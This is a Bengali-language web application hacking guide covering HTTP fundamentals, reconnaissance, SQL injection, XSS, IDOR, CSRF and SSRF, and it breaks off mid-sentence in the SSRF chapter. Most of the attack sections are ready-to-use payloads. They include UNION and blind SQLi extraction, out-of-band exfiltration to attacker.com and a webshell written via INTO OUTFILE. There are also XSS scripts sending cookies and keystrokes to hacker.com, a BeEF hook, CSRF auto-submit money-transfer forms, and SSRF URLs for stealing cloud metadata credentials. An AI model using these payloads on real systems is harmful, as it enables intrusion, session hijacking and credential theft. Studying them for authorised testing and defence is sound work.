Web Application Hacking

ওয়েব হ্যাকিং — সম্পূর্ণ বাংলা গাইড

SQL Injection থেকে শুরু করে SSRF, IDOR, XXE, SSTI, OAuth Bypass — OWASP Top 10 ও তার বাইরে সব ওয়েব ভালনারেবিলিটি বিস্তারিত।

```
hacker@kali:~# sqlmap -u "http://target.com/?id=1" --dbs
[*] available databases [3]:
[*] users_db   [*] admin   [*] secrets
hacker@kali:~#
```

🚀 SQL Injection | 📜 XSS | 🔄 CSRF | 🔍 IDOR | 🌐 SSRF | 📂 XXE

🔒 Auth Bypass | ⚙️ SSTI | 📂 File Upload | 🔑 JWT Attacks | 🛠️ Burp Suite | 🏆 CTF Tips

📋 বিষয়সূচি

01 **ওয়েব অ্যাপ্লিকেশন ফান্ডামেন্টাল**

HTTP/HTTPS বিস্তারিত, Request/Response, Status Code, Cookie, Session

02 **Reconnaissance — টার্গেট সম্পর্কে জানা**

Subdomain, Directory, Technology Stack, Burp Suite Setup

03 **SQL Injection — সম্পূর্ণ গাইড**

Error-based, Blind, Time-based, Union-based, SQLmap, WAF Bypass

04 **XSS — Cross-Site Scripting**

Reflected, Stored, DOM-based, Cookie Stealing, Payload তালিকা, Bypass

05 **IDOR ও Access Control**

IDOR বিস্তারিত, Horizontal/Vertical Escalation, Business Logic

06 **CSRF — Cross-Site Request Forgery**

CSRF কীভাবে কাজ করে, Exploit তৈরি, Bypass, SameSite

07 **SSRF — Server-Side Request Forgery**

Basic SSRF, Cloud Metadata, Blind SSRF, Filter Bypass

08 **File Upload ও Path Traversal**

Webshell Upload, Extension Bypass, LFI/RFI, Path Traversal

09 **Authentication Attacks**

Brute Force, JWT Attack, OAuth Bypass, Password Reset, 2FA Bypass

10 XXE, SSTI ও Deserialization

XXE বিস্তারিত, Template Injection, Object Deserialization

11 Burp Suite — সম্পূর্ণ গাইড

Proxy, Repeater, Intruder, Scanner, Extensions

12 WAF Bypass ও Advanced Techniques

WAF Bypass, Race Condition, HTTP Smuggling, Cache Poisoning

CHAPTER 01

🌐 ওয়েব অ্যাপ্লিকেশন ফান্ডামেন্টাল

HTTP, Cookie, Session — হ্যাকিংয়ের আগে যা বুঝতেই হবে

HTTP কীভাবে কাজ করে?

HTTP (HyperText Transfer Protocol) হলো ওয়েব ব্রাউজার ও সার্ভারের মধ্যে যোগাযোগের ভাষা। প্রতিটি ওয়েব Request ও Response একটি নির্দিষ্ট কাঠামো মেনে চলে।

```
তুমি browser-এ https://example.com/login লিখলে:

CLIENT (Browser)                    SERVER
       |                                  |
       |─── DNS Lookup ──────────────────→| example.com = 93.184.216.34
       |                                  |
       |─── TCP Handshake (3-way) ───────→|
       |←── SYN-ACK ─────────────────────|
       |─── ACK ─────────────────────────→|
       |                                  |
       |─── TLS Handshake ───────────────→| (HTTPS)
       |←── Certificate + Session Key ───|
       |                                  |
       |─── HTTP GET /login ─────────────→|
       |←── HTTP 200 OK + HTML ──────────|
       |                                  |
```

HTTP Request বিস্তারিত

```
# HTTP Request Structure POST /login HTTP/1.1 ← Method + Path + Version Host:
example.com ← সার্ভারের নাম User-Agent: Mozilla/5.0 (Windows NT 10.0) ← Browser
তথ্য Accept: text/html,application/xhtml+xml ← কী ধরনের response চাই Content-
```

```
Type: application/x-www-form-urlencoded ← Body-র format Content-Length: 27 ←
Body-র size Cookie: session=abc123xyz ← ★ Session cookie Authorization:
Bearer eyJhbGci... ← JWT Token Referer: https://example.com/ ← কোথা থেকে এলো
X-Forwarded-For: 192.168.1.1 ← ★ IP Spoofing সম্ভব! ← খালি লাইন (header শেষ)
username=admin&password=1234 ← Body (POST data)
```

HTTP Methods

Method	কাজ	সিকিউরিটি প্রাসঙ্গিকতা
GET	Data পড়া	URL-এ sensitive data → Log-এ থাকে, Cache হয়
POST	Data পাঠানো	Form submit, Login — Body-তে data
PUT	Resource আপডেট	Authorization ছাড়া থাকলে file overwrite
DELETE	Resource মুছা	IDOR + DELETE = অন্যের data মুছা
PATCH	আংশিক আপডেট	Mass Assignment সম্ভব
OPTIONS	কী কী Method আছে?	অনুমতিপ্রাপ্ত Method জানা যায়
HEAD	শুধু Header	Server তথ্য সংগ্রহ

HTTP Response ও Status Code

```
# HTTP Response Structure HTTP/1.1 200 OK ← Status Line Content-Type:
text/html; charset=UTF-8 ← Response format Server: Apache/2.4.41 ← ⚠ সার্ভার
তথ্য ফাঁস! X-Powered-By: PHP/7.4.3 ← ⚠ Technology ফাঁস! Set-Cookie:
session=xyz; HttpOnly; Secure; SameSite=Strict X-Frame-Options: DENY ←
Clickjacking সুরক্ষা X-XSS-Protection: 1; mode=block Content-Security-Policy:
default-src 'self' ← খালি লাইন <html>...</html> ← Body
```

Status Code	অর্থ	হ্যাকিং প্রাসঙ্গিকতা
200	OK — সফল	সফল request

Status Code	অর্থ	হ্যাকিং প্রাসঙ্গিকতা
301/302	Redirect	Open Redirect সম্ভব
400	Bad Request	Payload ভুল ফরম্যাটে
401	Unauthorized	Authentication দরকার
403	Forbidden	Access নেই — Bypass চেষ্টা করো
404	Not Found	Directory brute force-এ কাজে লাগে
500	Server Error	⭐ Error message-এ সার্ভার তথ্য
503	Service Unavailable	DDoS সফল হয়েছে

Cookie ও Session বিস্তারিত

HTTP Stateless — প্রতিটি request আলাদা। Cookie ও Session ব্যবহার করে "কে login আছে" মনে রাখা হয়।

```
Login Process:
Browser                          Server
   |                                |
   |──── POST /login ──────────────→|
   |     username=admin&pass=1234   |
   |                                | ✓ Valid credentials
   |←──── 200 OK ──────────────────|
   |     Set-Cookie: session=abc123 | ← Session তৈরি
   |                                |
   |──── GET /dashboard ───────────→|
   |     Cookie: session=abc123     | ← "আমি admin"
   |←──── 200 OK (Dashboard) ──────| ← সার্ভার চিনতে পারল
   |                                |
Session Hijacking:
Hacker Cookie: session=abc123 পেলে → সরাসরি dashboard access!
```

Cookie Flags — সিকিউরিটি

Flag	কাজ	না থাকলে ঝুঁকি
`HttpOnly`	JavaScript দিয়ে পড়া যাবে না	XSS দিয়ে Cookie চুরি সম্ভব
`Secure`	শুধু HTTPS-এ পাঠাবে	HTTP-তে Cookie intercept সম্ভব
`SameSite=Strict`	অন্য সাইট থেকে পাঠাবে না	CSRF attack সম্ভব
`Expires`	কতক্ষণ Valid	অনির্দিষ্টকাল valid থাকলে ঝুঁকি
`Path=/`	কোন path-এ পাঠাবে	সব path-এ cookie যায়
`Domain`	কোন domain-এ	Subdomain-এও যেতে পারে

OWASP Top 10 — ২০২১

#	ভালনারেবিলিটি	উদাহরণ	বিপদের মাত্রা
A01	Broken Access Control	IDOR, Privilege Escalation	**Critical**
A02	Cryptographic Failures	HTTP, MD5 Password, Weak Cipher	**Critical**
A03	Injection	SQL, NoSQL, Command Injection	**Critical**
A04	Insecure Design	Business Logic Flaw	**High**
A05	Security Misconfiguration	Default Creds, Open Admin	**High**
A06	Vulnerable Components	Outdated Library/Plugin	**High**
A07	Auth & Session Management	Weak Session, Brute Force	**High**
A08	Software Data Integrity	Insecure Deserialization	**High**
A09	Security Logging Failures	No logging, Log Injection	**Medium**

#	ভালনারেবিলিটি	উদাহরণ	বিপদের মাত্রা
A10	SSRF	Internal Service Access	**Critical**

CHAPTER 02

🔍 Web Reconnaissance — টার্গেট বিশ্লেষণ

Attack শুরুর আগে যতটুকু জানা যায় জানো

Passive Reconnaissance

```
# Technology Stack চেনা # Wappalyzer browser extension — সবচেয়ে সহজ whatweb
https://target.com # CLI টুল curl -I https://target.com # Response Header দেখা
# Subdomain Discovery subfinder -d target.com -o subs.txt amass enum -passive
-d target.com assetfinder --subs-only target.com curl https://crt.sh/?
q=%.target.com&output=json | jq '.[].name_value' # DNS তথ্য dig target.com ANY
dig @8.8.8.8 target.com MX dnsrecon -d target.com dnsenum target.com # Google
Dorking — সবচেয়ে শক্তিশালী site:target.com # সব index হওয়া page site:target.com
filetype:pdf # PDF ফাইল site:target.com inurl:admin # Admin page
site:target.com "DB_PASSWORD" # Exposed config site:target.com ext:php
inurl:?id= # PHP parameter "target.com" filetype:sql # Database dump
inurl:target.com intext:"password" # Password leak
```

Active Reconnaissance

```
# Directory ও File Brute Force gobuster dir -u https://target.com -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
php,html,js,txt feroxbuster -u https://target.com --depth 3 ffuf -w
wordlist.txt -u https://target.com/FUZZ dirsearch -u https://target.com -e
php,html,js # গুরুত্বপূর্ণ ফাইল চেক করো সরাসরি: /robots.txt # লুকানো path তালিকা
/.env # Environment variables (DB password!) /.git/ # Source code!
/sitemap.xml # সব URL /admin # Admin panel /wp-admin # WordPress admin
/phpmyadmin # Database admin /backup.zip # Backup file /config.php.bak #
Config backup /api/v1/users # API endpoint # Parameter Discovery arjun -u
https://target.com/search # Hidden parameter ffuf -w params.txt -u
https://target.com/page?FUZZ=test # JavaScript Analysis # Browser DevTools →
```

```
Sources → সব JS ফাইল খোঁজো # API endpoints, secret keys প্রায়ই JS-এ থাকে
linkfinder.py -i https://target.com/app.js -o cli
```

Burp Suite Setup — সবচেয়ে গুরুত্বপূর্ণ টুল

```
# Burp Suite চালু করা burpsuite & # Kali Linux-এ # Browser Proxy Setup: #
Firefox → Settings → Network → Manual Proxy: # HTTP Proxy: 127.0.0.1 Port:
8080 # Certificate Install (HTTPS intercept করতে): # http://burpsuite → CA
Certificate download # Firefox → Settings → View Certificates → Import # ★
FoxyProxy Extension ব্যবহার করলে সহজ!
```

Burp Suite এর প্রধান Tools

Tool	কাজ	কখন ব্যবহার করবে
Proxy	Request intercept ও modify	সব সময়
Repeater	Request বারবার পাঠানো	SQLi, XSS manual testing
Intruder	Automated brute force	Fuzzing, Password attack
Scanner	Auto vulnerability scan	Quick initial scan (Pro)
Decoder	Encode/Decode	Base64, URL, HTML decode
Comparer	দুটো response তুলনা	Blind SQLi detect

Information Disclosure খোঁজা

```
# Error Message থেকে তথ্য # PHP Error: Warning: mysqli_connect():
php_network_getaddresses: getaddrinfo failed # MySQL Error: You have an error
in your SQL syntax near '' at line 1 # Stack Trace: at
com.example.app.UserService.getUser(UserService.java:45) # ★ এই Error গুলো
দেখলে মানে SQLi/Injection সম্ভব! # .git expose হলে Source Code বের করা git-
dumper https://target.com/.git/ ./repo cd repo && git log --oneline # Commit
history git show HEAD # সর্বশেষ পরিবর্তন grep -r "password\|secret\|key" ./ #
```

```
Secret খোঁজা # JS Source Map থেকে Source Code # app.js.map ফাইল থাকলে মূল
source code পাওয়া যায়
```

CHAPTER 03

💉 SQL Injection — সম্পূর্ণ গাইড

সবচেয়ে বিপজ্জনক ও সবচেয়ে বেশি পাওয়া যায় এমন ভালনারেবিলিটি

SQL Injection কী?

SQL Injection হলো এমন একটি আক্রমণ যেখানে ইনপুটের মধ্যে SQL কোড ঢুকিয়ে ডেটাবেসকে অন্যভাবে কাজ করানো হয়।

```
স্বাভাবিক Query:
SELECT * FROM users WHERE username

                          ↑ ইউজার input এখানে যায়

SQL Injection Input:  admin' OR '1'='1
তৈরি হওয়া Query:
SELECT * FROM users WHERE username='admin' OR '1'='1'

                                          ↑ সবসময় True!

Result: সব user-এর data বের হয়ে আসে!
```

SQL Injection Detection

```
# প্রথমে Error trigger করো: ' # Single quote → Syntax error '' # Double quote
` # Backtick ') # Closing parenthesis 1=1 # Boolean test 1=2 # False test #
উদাহরণ: https://target.com/product?id=1' You have an error in your SQL
syntax... ← SQLi পাওয়া গেছে! # Boolean-based detection:
https://target.com/product?id=1 AND 1=1 # সব ঠিক আছে (True)
https://target.com/product?id=1 AND 1=2 # Page ভিন্ন হলে SQLi আছে! # Time-
based detection: https://target.com/product?id=1; WAITFOR DELAY '0:0:5' #
MSSQL https://target.com/product?id=1 AND SLEEP(5) # MySQL # যদি ৫ সেকেন্ড দেরি
হয় → Time-based SQLi আছে!
```

SQLi প্রকারভেদ ও Exploitation

১. In-band SQLi — Error-based

```
# MySQL Error-based ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)-- # Result: XPATH syntax error: '~8.0.26~' ← Database version!
```

২. UNION-based SQLi — সবচেয়ে শক্তিশালী

```
# Step 1: Column সংখ্যা বের করো ' ORDER BY 1-- # Error নেই → কমপক্ষে ১টি column ' ORDER BY 2-- # Error নেই → কমপক্ষে ২টি column ' ORDER BY 3-- # Error → ২টি column আছে # অথবা: ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- # Error না হলে ৩টি column # Step 2: কোন column-এ data দেখায়? ' UNION SELECT 'a',NULL,NULL-- ' UNION SELECT NULL,'a',NULL-- # 'a' দেখা গেলে ২য় column visible # Step 3: Database তথ্য বের করো (MySQL) ' UNION SELECT NULL,version(),NULL-- # DB version ' UNION SELECT NULL,database(),NULL-- # Current DB ' UNION SELECT NULL,user(),NULL-- # DB user # Step 4: সব Database দেখো ' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata-- # Step 5: Tables দেখো ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'-- # Step 6: Columns দেখো ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- # Step 7: Data বের করো! ' UNION SELECT NULL,concat(username,':',password),NULL FROM users--
```

৩. Blind SQLi — Boolean-based

```
# Response দেখে বোঝা যায় — সরাসরি error দেখায় না # প্রশ্ন জিজ্ঞেস করো যার উত্তর True/False: ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='admin')='a'-- # Page ঠিক থাকলে → প্রথম অক্ষর 'a' ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='admin')='b'-- # Page ভিন্ন হলে → প্রথম অক্ষর 'b' নয় # এভাবে character by character পুরো username বের করা যায় # তবে এটা অনেক ধীর → SQLmap ব্যবহার করো
```

8. Time-based Blind SQLi

```
# Response দেখে না, সময় পরিমাপ করে # MySQL: ' AND SLEEP(5)-- # ৫ সেকেন্ড দেরি '
AND IF(1=1, SLEEP(5), 0)-- # True → দেরি ' AND IF((SELECT COUNT(*) FROM
users)>0, SLEEP(5), 0)-- # MSSQL: '; WAITFOR DELAY '0:0:5'-- # PostgreSQL: ';
SELECT pg_sleep(5)-- # Oracle: ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
```

৫. Out-of-band SQLi

```
# DNS বা HTTP দিয়ে data বের করা # MySQL (DNS exfiltration): ' UNION SELECT
LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT
1),'.attacker.com\\x'))-- # MSSQL: '; exec master..xp_dirtree
'//attacker.com/a'--
```

Database-specific Payloads

Database	Version	Current DB	Tables	Sleep
MySQL	version()	database()	information_schema.tables	SLEEP(5)
MSSQL	@@version	db_name()	information_schema.tables	WAITFOR DELAY
Oracle	v$version	global_name	all_tables	DBMS_PIPE
PostgreSQL	version()	current_database()	information_schema.tables	pg_sleep(5)
SQLite	sqlite_version()	—	sqlite_master	—

Special SQLi Techniques

File Read ও Write

```
# MySQL — File Read (root privilege লাগবে) ' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- ' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php'),NULL-- # MySQL — File Write → Webshell upload! ' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- # এখন: https://target.com/shell.php?cmd=whoami
```

Second-Order SQLi

```
# Registration-এ Payload store করা: username: admin'-- # সাথে সাথে কিছু হয় না # পরে Password Change request: UPDATE users SET password='newpass' WHERE username='admin'--' # ← এখন SQL Injection trigger হয়! # admin-এর পাসওয়ার্ড পরিবর্তন হয়ে যাবে
```

SQLmap — সম্পূর্ণ গাইড

```
# Basic Scan sqlmap -u "https://target.com/product?id=1" sqlmap -u "https://target.com/product?id=1" --dbs # সব DB sqlmap -u "https://target.com/product?id=1" -D shop --tables # Tables sqlmap -u "https://target.com/product?id=1" -D shop -T users --dump # Data! # POST request sqlmap -u "https://target.com/login" --data="user=admin&pass=1234" sqlmap -u "https://target.com/login" --data="user=admin&pass=1234" -p user # Parameter # Burp Request থেকে (সবচেয়ে সহজ!) # Burp Proxy → Right click → Copy to file → request.txt sqlmap -r request.txt --dbs # Cookie-based SQLi sqlmap -u "https://target.com/" --cookie="id=1" # Authentication header sqlmap -u "https://target.com/api/user/1" -H "Authorization: Bearer TOKEN" # Level ও Risk বাড়ানো sqlmap -u "https://target.com/?id=1" --level=5 --risk=3 # WAF Bypass sqlmap -u "https://target.com/?id=1" --tamper=space2comment,between,randomcase sqlmap -u "https://target.com/?id=1" --random-agent --delay=1 # OS Shell পাওয়া! sqlmap -u "https://target.com/?id=1" --os-shell sqlmap -u "https://target.com/?id=1" --os-pwn # Meterpreter! # সব একসাথে sqlmap -u "https://target.com/?id=1" --dbs --users --passwords --privileges --batch
```

Comment Syntax ও WAF Bypass

```
# Comment — বাকি Query বাদ দিতে -- # MySQL, MSSQL, Oracle, PostgreSQL --+ #
URL-encoded space # # MySQL only /**/ # Block comment — WAF bypass-এ ব্যবহার
;%00 # Null byte # WAF Bypass Techniques: # Space replace করো:
SELECT/**/username/**/FROM/**/users SEL/**/ECT username FROM users # Comment
injection SELECT%09username%09FROM%09users # Tab # Case variation: SeLeCt
UsErNaMe FrOm UsErS # Encoding: %27 = ' %20 = space %23 = # # Double
encoding: %2527 = ' (double URL encode) # SQLmap Tamper Scripts:
space2comment # space → /**/ between # AND → BETWEEN randomcase # random case
charunicodeencode # Unicode encoding apostrophemask # ' → %EF%BC%87
```

⚠️ SQLi সুরক্ষা

- Prepared Statement ও Parameterized Query ব্যবহার করো
- Input Validation ও Sanitization
- Stored Procedure
- Database user-কে minimum privilege দাও
- WAF ব্যবহার করো
- Error message কখনো user-কে দেখাবে না

CHAPTER 04

📜 XSS — Cross-Site Scripting

ব্রাউজারে ক্ষতিকর JavaScript চালানো

XSS কী?

XSS হলো এমন একটি আক্রমণ যেখানে Malicious JavaScript কোড ওয়েবপেজে ইনজেক্ট করা হয় এবং ভিকটিম-এর ব্রাউজারে সেটি চলে।

```
Stored XSS এর প্রবাহ:

Hacker                Website               Victim
   |                     |                      |
   |──Comment এ Payload──→|                      |
   |  <script>steal()</script>                  |
   |                     | Database-এ save হলো  |
   |                     |                      |
   |                     |←── Page দেখতে চাই──|
   |                     |── Page + Payload ──→|
   |                     |                      | ← Script চলে!
   |←── Cookie পাঠাল ──────────────────────────|
   |    (Cookie চুরি হলো!)                     |
```

XSS-এর তিনটি ধরন

১. Reflected XSS

```
# URL-এ payload থাকে, Server সেটা reflect করে https://target.com/search?q=
<script>alert('XSS')</script> # Server-এর HTML Response: <p>Search results
for: <script>alert('XSS')</script></p> # ব্যবহার: Phishing link পাঠানো
```

```
https://bank.com/search?q=<script>document.location='http://hacker.com/steal?c='+document.cookie</script>
```

২. Stored XSS — সবচেয়ে বিপজ্জনক

```
# Payload database-এ save হয়, সবাই দেখলেই চলে # Comment, Profile Bio, Forum Post — এখানে ইনজেক্ট করো # উদাহরণ Comment: <script>fetch('https://hacker.com/steal?cookie='+document.cookie) </script> # অথবা admin-এর cookie চুরি করে admin account নেওয়া: <img src=x onerror="new Image().src='https://hacker.com/c?d='+document.cookie">
```

৩. DOM-based XSS

```
# Client-side JavaScript নিজেই DOM-এ malicious content রাখে # Server-এর কোনো ভূমিকা নেই # দুর্বল JavaScript: var search = document.URL.indexOf("search="); var term = document.URL.substring(search+7); document.write("You searched for: " + term); # ← Dangerous! # Attack URL: https://target.com/page#search=<img src=x onerror=alert(1)> # Common DOM Sinks (বিপজ্জনক function): document.write() innerHTML outerHTML eval() setTimeout("code") location.href = userInput
```

XSS Payload তালিকা — Context অনুযায়ী

Basic Test Payload

```
# সহজ test: <script>alert(1)</script> <script>alert(document.domain)</script> <script>alert(document.cookie)</script> # img ট্যাগ: <img src=x onerror=alert(1)> <img src="javascript:alert(1)"> # svg: <svg onload=alert(1)> <svg/onload=alert(1)> # body event: <body onload=alert(1)> <iframe onload=alert(1)></iframe> # Input field-এ: "><script>alert(1)</script> '><script>alert(1)</script>
```

Cookie Stealing Payload

```
# Method 1: fetch <script>fetch('https://hacker.com/steal?
c='+btoa(document.cookie))</script> # Method 2: Image <img src=x
onerror="this.src='https://hacker.com/?c='+document.cookie"> # Method 3:
XMLHttpRequest <script> var x=new XMLHttpRequest();
x.open('GET','https://hacker.com/?c='+document.cookie); x.send(); </script> #
Method 4: XSS to Admin panel takeover <script>
document.location='https://target.com/admin/add-user?
user=hacker&pass=hacker123&role=admin' </script>
```

Keylogger via XSS

```
<script> document.onkeypress = function(e) { fetch('https://hacker.com/log?
k=' + String.fromCharCode(e.keyCode)); } </script>
```

XSS Filter Bypass

```
# script ট্যাগ block হলে: <img src=x onerror=alert(1)> <svg onload=alert(1)>
<details open ontoggle=alert(1)> <video src onerror=alert(1)> # alert block
হলে: <script>confirm(1)</script> <script>prompt(1)</script>
<script>console.log(1)</script> # Encoding bypass:
<script>eval(atob('YWxlcnQoMSk='))</script> # Base64: alert(1)
<script>\u0061\u006c\u0065\u0072\u0074(1)</script> # Unicode # HTML Entity:
&lt;script&gt;alert(1)&lt;/script&gt; # Case variation: <ScRiPt>alert(1)
</ScRiPt> <SCRIPT>alert(1)</SCRIPT> # Nested tag (filter শুধু একবার চলে):
<scr<script>ipt>alert(1)</scr</script>ipt>
```

BeEF — Browser Exploitation Framework

```
# BeEF Kali-তে beef-xss # Dashboard: http://127.0.0.1:3000/ui/panel #
Default: beef/beef # Hook script Victim-এ ইনজেক্ট করো: <script
src="http://attacker.com:3000/hook.js"></script> # BeEF দিয়ে যা করা যায়: # -
```

```
Browser history দেখা # - Screenshot নেওয়া # - Keylogger চালানো # - Fake login
page দেখানো # - Network scan করা # - Redirect করা
```

CHAPTER 05

🔍 IDOR ও Broken Access Control

OWASP #1 — সবচেয়ে বেশি পাওয়া যায় এমন ভালনারেবিলিটি

IDOR কী?

IDOR (Insecure Direct Object Reference) মানে — object reference (যেমন user ID, file ID) পরিবর্তন করে অন্যের data access করা।

```
তুমি login করো: user_id = 1001
তোমার profile URL: https://target.com/profile?id=1001

IDOR Attack:
URL পরিবর্তন করো: https://target.com/profile?id=1002
→ অন্য user-এর profile দেখা যাচ্ছে!

https://target.com/profile?id=1   → Admin-এর profile!
https://target.com/invoice?id=99  → অন্য user-এর invoice!
```

IDOR খোঁজার পদ্ধতি

```
# ১. URL Parameter /api/user?id=123 # → id=124, 125, 1 /download?file_id=55 # → file_id=1, 2, 54 /order?order_id=ABC123 # Sequential বা predictable? # ২. POST Body {"user_id": 123, "action": "get_profile"} # → user_id: 124 করে দেখো # ৩. API Endpoint GET /api/v1/users/1001/orders # → /api/v1/users/1002/orders → অন্যের order! # ৪. Header X-User-ID: 1001 # Header পরিবর্তন করো # ৫. Cookie Cookie: user=1001 # Cookie value পরিবর্তন # ৬. Base64/Hash encoded ID /profile?id=MTAwMQ== # Base64 → 1001 # Decode → পরিবর্তন → Encode → পাঠাও echo -n "1002" | base64 # MTAwMg==
```

Horizontal vs Vertical Access Control

↔️ Horizontal Escalation

একই role-এর অন্য user-এর data access

- User A → User B-এর profile
- তোমার order → অন্যের order
- তোমার message → অন্যের message

উদাহরণ: /profile?id=1002

↕️ Vertical Escalation

কম সুবিধার account থেকে বেশি সুবিধায় যাওয়া

- Normal User → Admin panel
- Read-only → Write access
- Customer → Employee data

উদাহরণ: /admin/users

Business Logic Flaws

```
# ১. Negative Price / Quantity POST /checkout {"product_id": 1, "quantity": -5, "price": 100} # → মোট: -500 → Account-এ credit! # ২. Coupon বারবার ব্যবহার # একই coupon code বারবার apply করো # Race Condition দিয়ে: # দুটো request একসাথে পাঠাও! # ৩. Password Reset Token Reuse # একটি valid token দিয়ে অন্য user-এর reset POST /reset-password {"token": "validtoken", "username": "admin", "newpass": "hacked"} # ৪. Account Takeover via Email Change # Email change করো → Verification link-এ user_id পাল্টাও # ৫. Mass Assignment POST /update-profile {"name": "Saimum", "email": "s@s.com", "role": "admin"} # API অতিরিক্ত field accept করলে role পাল্টানো যাবে!
```

Burp Intruder দিয়ে IDOR Automation

```
# Request capture করো Burp-এ # GET /api/invoice?id=§1001§ HTTP/1.1 # Intruder → Sniper → Payload: Number list 1-2000 # Start Attack → Response Length দেখো # ভিন্ন length মানে আলাদা data! # ffuf দিয়ে IDOR fuzz: ffuf -u "https://target.com/api/user/FUZZ" -w numbers.txt -H "Cookie: session=yours" -mc 200
```

CHAPTER 06

🔄 CSRF — Cross-Site Request Forgery

ভিকটিমকে দিয়ে অজান্তে কাজ করানো

CSRF কীভাবে কাজ করে?

```
Attack Flow:

১. ভিকটিম bank.com-এ login করে আছে
   (Browser-এ bank.com-এর Cookie আছে)

২. হ্যাকার evil.com তৈরি করে:
   <img src="https://bank.com/transfer?to=hacker&amount=50000">

৩. হ্যাকার ভিকটিমকে evil.com-এর link পাঠায়

৪. ভিকটিম evil.com খুললে → Image load হয়
   → Browser bank.com-এ GET request পাঠায়
   → Cookie automatically যায়
   → Bank মনে করে ভিকটিম নিজেই request করেছে
   → টাকা চলে যায়!
```

CSRF Exploit তৈরি

GET-based CSRF

```
# Simple image tag <img src="https://bank.com/transfer?
to=hacker&amount=10000" style="display:none"> # অথবা iframe <iframe
```

```
src="https://target.com/delete-account?confirm=yes" style="display:none">
</iframe>
```

POST-based CSRF — Auto-submit Form

```
<html> <body onload="document.forms[0].submit()"> <form
action="https://bank.com/transfer" method="POST"> <input type="hidden"
name="to" value="hacker_account"> <input type="hidden" name="amount"
value="50000"> <input type="hidden" name="currency" value="BDT"> </form>
</body> </html> # ভিকটিম এই page খুললেই automatically form submit হবে!
```

JSON CSRF

```
# API JSON request-এ CSRF <script>
fetch('https://api.target.com/user/update', { method: 'POST', credentials:
'include', ← Cookie পাঠাবে headers: {'Content-Type': 'text/plain'}, body:
'{"email":"hacker@evil.com","role":"admin"}' }); </script>
```

CSRF Token Bypass

```
# ১. Token না পাঠালে কী হয়? # CSRF token field বাদ দিয়ে request পাঠাও # ২. Token
সরিয়ে ফেলো csrf_token=    # Empty value # ৩. Token অন্য session থেকে ব্যবহার #
তোমার নিজের CSRF token ভিকটিমের request-এ দাও # ৪. Token Double Submit Cookie
# শুধু Cookie match করে → Cookie inject করো # ৫. Referer Header Remove করো #
<meta name="referrer" content="no-referrer"> # ৬. CORS Misconfiguration +
CSRF fetch('https://target.com/api/data', {credentials:'include'}) # CORS
allow করলে response পড়া যাবে
```

✅ **CSRF সুরক্ষা**

- CSRF Token (Synchronizer Token Pattern)
- SameSite=Strict Cookie Flag
- Origin/Referer Header Validation

- Double Submit Cookie
- CORS সঠিকভাবে কনফিগার করো

CHAPTER 07

🌐 SSRF — Server-Side Request Forgery

সার্ভারকে দিয়ে অভ্যন্তরীণ সিস্টেমে request করানো

SSRF কী?

SSRF হলো এমন একটি আক্রমণ যেখানে হ্যাকার সার্ভারকে দিয়ে অভ্যন্তরীণ বা বাহ্যিক URL-এ request করায়।

```
স্বাভাবিক ব্যবহার:
User → Server → https://external-api.com

SSRF Attack:
Hacker → Server → http://169.254.169.254/  (AWS Metadata!)
Hacker → Server → http://localhost:8080/admin  (Internal Admin!)
Hacker → Server → http://internal-db:5432/     (Database!)

সার্ভার Internal Network-এ আছে → Firewall bypass!
```

SSRF কোথায় খুঁজবে?

```
# URL parameter যেখানে আছে: https://target.com/fetch?url=https://external.com
https://target.com/proxy?site=https://news.com https://target.com/webhook?
callback=https://api.com https://target.com/pdf?source=https://page.com #
POST body: {"url": "https://external-api.com/data"} {"website":
"https://preview.com"} {"avatar_url": "https://cdn.example.com/pic.jpg"} #
Import/Upload from URL: # "Upload from URL" feature # "Import data from URL"
# "Preview URL"
```

Basic SSRF Exploitation

```
# Internal services probe করা url=http://127.0.0.1 url=http://localhost
url=http://0.0.0.0 # Internal port scan url=http://127.0.0.1:22 # SSH
url=http://127.0.0.1:3306 # MySQL url=http://127.0.0.1:6379 # Redis
url=http://127.0.0.1:9200 # Elasticsearch url=http://127.0.0.1:8080 #
Internal web server # Internal network scan url=http://192.168.0.1 # Router
url=http://10.0.0.1 # Internal network url=http://172.16.0.1
```

Cloud Metadata — সবচেয়ে বিপজ্জনক

```
# ★ AWS EC2 Metadata — Secret Key চুরি!
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2_ROLE
# Response: AWS Access Key, Secret Key, Token → AWS পুরো control! # Google
Cloud Metadata
url=http://metadata.google.internal/computeMetadata/v1/instance/service-
accounts/default/token url=http://169.254.169.254/computeMetadata/v1/ # Azure
Metadata url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Kubernetes Service Account Token
url=file:///var/run/secrets/kubernetes.io/serviceaccount/token
```

SSRF Filter Bypass

```
# IP Address Bypass: http://127.0.0.1 → http://2130706433 # Decimal
http://127.0.0.1 → http://0177.0.0.01 # Octal http://127.0.0.1 →
http://0x7f000001 # Hex http://127.0.0.1 → http://127.1 # Short form
http://127.0.0.1 → http://[::1] # IPv6 http://127.0.0.1 → http://localhost #
Hostname # DNS Rebinding: # hacker.com → public IP (filter পাস) → 127.0.0.1
(rebind) # Open Redirect চেইন করা: url=https://trusted.com/redirect?
to=http://169.254.169.254/ # URL Scheme Bypass: file:///etc/passwd # File
read! dict://127.0.0.1:6379/info # Redis SSRF gopher://127.0.0.1:25/... #
SMTP SSRF ftp://127.0.0.1:21/ # FTP
```

Blind SSRF Detection

```
# Burp Collaborator দিয়ে (out-of-band) url=https://your-burp-collaborator.net
# Collaborator-এ DNS/HTTP request এলে → SSRF আছে! # Interactsh দিয়ে (Free
